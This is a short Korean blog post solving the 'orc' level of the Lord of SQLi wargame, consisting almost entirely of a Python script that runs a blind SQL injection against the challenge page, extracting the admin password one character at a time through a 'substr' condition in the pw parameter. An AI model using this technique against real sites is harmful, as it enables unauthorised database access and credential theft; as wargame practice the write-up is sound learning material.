Los 문제풀이
los.rubiya.kr orc
whh1323
2019. 12. 3. 10:26
import urllib3
import requests
url1 = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=123' or id = 'admin' and "
cookie = dict(PHPSESSID="")
for i in range(1,9):
attack_root = "substr(pw," + str(i) + ",1) = '"
for k in range(0,100):
count = attack_root+chr(k)
url1 = url1+count
req = requests.post(url=url1,cookies=cookie)
url1 = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=123' or id = 'admin' and "
if "Hello admin" in req.text:
print(str(i)+"번째 코드"+chr(k))
break